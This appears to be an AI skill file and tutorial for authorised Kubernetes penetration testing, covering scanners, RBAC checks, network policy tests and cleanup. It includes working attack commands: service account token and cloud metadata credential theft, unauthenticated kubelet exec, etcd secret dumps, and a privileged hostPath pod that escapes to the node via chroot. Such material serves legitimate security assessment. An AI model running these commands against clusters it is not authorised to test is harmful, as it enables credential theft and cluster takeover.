name: performing-kubernetes-penetration-testing description: Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools domain: cybersecurity subdomain: container-security tags:
- containers
- kubernetes
- security
- penetration-testing
- offensive-security version: '1.0' author: mahipal license: Apache-2.0 nist_csf:
- PR.PS-01
- PR.IR-01
- ID.AM-08
- DE.CM-01
Performing Kubernetes Penetration Testing
Overview
Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools like kube-hunter, Kubescape, peirates, and manual kubectl exploitation, testers identify misconfigurations that could lead to cluster compromise.
When to Use
- When conducting security assessments that involve performing kubernetes penetration testing
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Most Often Missed & How to Confirm
Automated scanners (kube-hunter/kubescape) report what they can reach unauthenticated and stop there. The highest-impact paths usually need a few manual probes:
- In-pod service account token: from any compromised pod, read
/var/run/secrets/kubernetes.io/serviceaccount/tokenandca.crt, then hithttps://kubernetes.default.svcwith it. Most testers stop at "got a shell" and never test what that SA can do (kubectl auth can-i --list). - Cloud metadata / IMDS:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/(IMDSv1) or the GCP/Azure equivalents from inside a pod - node IAM creds are a common cluster-to-cloud pivot that NetworkPolicy often fails to block. - Privileged/hostPath pod escape: if RBAC allows
create pods, deploy aprivileged/hostPID/hostPath-/pod andchroot /host- escape is possible even without node SSH. - Kubelet 10250 and read-only 10255:
curl -k https://<node>:10250/podsand/run/<ns>/<pod>/<container>for unauth exec; check 10255 for info disclosure. - etcd 2379 unauthenticated: try
etcdctl get /registry/secrets --prefix --keys-only- direct secret extraction bypassing the API server and RBAC.
Confirm a hit with a positive signal: a real finding returns attacker-usable data - an actual secret value, a 200 listing pods/namespaces, working cloud creds, or a shell on the host - not just a non-403. Do not conclude negative until you've tried the in-pod token, IMDS, kubelet 10250/10255, etcd 2379, and an authenticated kubectl auth can-i enumeration; an anonymous 403 on the API server does not mean the pod's own SA is unprivileged.
Prerequisites
- Authorized penetration testing engagement
- Kubernetes cluster access (various levels for different test scenarios)
- kube-hunter, kubescape, kube-bench installed
- kubectl configured
- Network access to cluster components
Core Concepts
Kubernetes Attack Surface
| Component | Port | Attack Vectors |
|---|---|---|
| API Server | 6443 | Auth bypass, RBAC abuse, anonymous access |
| Kubelet | 10250/10255 | Unauthenticated access, command execution |
| etcd | 2379/2380 | Unauthenticated read, secret extraction |
| Dashboard | 8443 | Default credentials, token theft |
| NodePort Services | 30000-32767 | Service exposure, application exploits |
| CoreDNS | 53 | DNS spoofing, zone transfer |
MITRE ATT&CK for Kubernetes
| Phase | Techniques |
|---|---|
| Initial Access | Exposed Dashboard, Kubeconfig theft, Application exploit |
| Execution | exec into container, CronJob, deploy privileged pod |
| Persistence | Backdoor container, mutating webhook, static pod |
| Privilege Escalation | Privileged container, node access, RBAC abuse |
| Defense Evasion | Pod name mimicry, namespace hiding, log deletion |
| Credential Access | Secret extraction, service account token theft |
| Lateral Movement | Container escape, cluster internal services |
Workflow
Step 1: External Reconnaissance
# Discover Kubernetes services
nmap -sV -p 443,6443,8443,2379,10250,10255,30000-32767 target-cluster.com
# Check for exposed API server
curl -k https://target-cluster.com:6443/api
curl -k https://target-cluster.com:6443/version
# Check anonymous authentication
curl -k https://target-cluster.com:6443/api/v1/namespaces
# Check for exposed kubelet
curl -k https://node-ip:10250/pods
curl http://node-ip:10255/pods # Read-only kubelet
Step 2: Automated Scanning with kube-hunter
# Install kube-hunter
pip install kube-hunter
# Remote scan
kube-hunter --remote target-cluster.com
# Internal network scan (from within cluster)
kube-hunter --internal
# Pod scan (from within a pod)
kube-hunter --pod
# Generate report
kube-hunter --remote target-cluster.com --report json --log output.json
Step 3: CIS Benchmark Assessment with kube-bench
# Run kube-bench on master node
kube-bench run --targets master
# Run on worker node
kube-bench run --targets node
# Check specific sections
kube-bench run --targets master --check 1.2.1,1.2.2,1.2.3
# JSON output
kube-bench run --json > kube-bench-results.json
# Run as Kubernetes job
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
kubectl logs -l app=kube-bench
Step 4: Framework Compliance with Kubescape
# Install kubescape
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
# Scan against NSA/CISA hardening guide
kubescape scan framework nsa
# Scan against MITRE ATT&CK
kubescape scan framework mitre
# Scan against CIS Kubernetes Benchmark
kubescape scan framework cis-v1.23-t1.0.1
# Scan specific namespace
kubescape scan framework nsa --namespace production
# JSON output
kubescape scan framework nsa --format json --output kubescape-report.json
Step 5: RBAC Exploitation Testing
# Check current permissions
kubectl auth can-i --list
# Check specific high-value permissions
kubectl auth can-i create pods
kubectl auth can-i create pods --subresource=exec
kubectl auth can-i get secrets
kubectl auth can-i create clusterrolebindings
kubectl auth can-i '*' '*' # cluster-admin check
# Enumerate service account tokens
kubectl get serviceaccounts -A
kubectl get secrets -A -o json | jq '.items[] | select(.type=="kubernetes.io/service-account-token") | {name: .metadata.name, namespace: .metadata.namespace}'
# Check for overly permissive roles
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name=="system:anonymous" or .subjects[]?.name=="system:unauthenticated")'
# Test service account impersonation
kubectl --as=system:serviceaccount:default:default get pods
Step 6: Secret Extraction Testing
# List all secrets
kubectl get secrets -A
# Extract specific secret
kubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d
# Check for secrets in environment variables
kubectl get pods -A -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef)'
# Check for secrets in mounted volumes
kubectl get pods -A -o json | jq '.items[].spec.volumes[]? | select(.secret)'
# Search etcd directly (if accessible)
ETCDCTL_API=3 etcdctl --endpoints=https://etcd-ip:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
get /registry/secrets --prefix --keys-only
Step 7: Pod Exploitation
# Deploy test pod with elevated privileges
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: pentest-pod
namespace: default
spec:
hostNetwork: true
hostPID: true
containers:
- name: pentest
image: ubuntu:22.04
command: ["sleep", "infinity"]
securityContext:
privileged: true
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
EOF
# Exec into pod
kubectl exec -it pentest-pod -- bash
# From inside privileged pod - access host filesystem
chroot /host
# From inside any pod - check internal services
curl -k https://kubernetes.default.svc/api/v1/namespaces
cat /var/run/secrets/kubernetes.io/serviceaccount/token
Step 8: Network Policy Testing
# Check for network policies
kubectl get networkpolicies -A
# Test pod-to-pod communication (should be blocked by policies)
kubectl run test-netpol --image=busybox --restart=Never -- wget -qO- --timeout=2 http://target-service.namespace.svc
# Test egress to external services
kubectl run test-egress --image=busybox --restart=Never -- wget -qO- --timeout=2 http://example.com
# Test access to metadata service (cloud environments)
kubectl run test-metadata --image=busybox --restart=Never -- wget -qO- --timeout=2 http://169.254.169.254/latest/meta-data/
Validation Commands
# Verify kube-hunter findings
kube-hunter --remote $CLUSTER_IP --report json
# Cross-validate with Kubescape
kubescape scan framework nsa --format json
# Check remediation effectiveness
kube-bench run --targets master,node --json
# Clean up pentest resources
kubectl delete pod pentest-pod
kubectl delete pod test-netpol test-egress test-metadata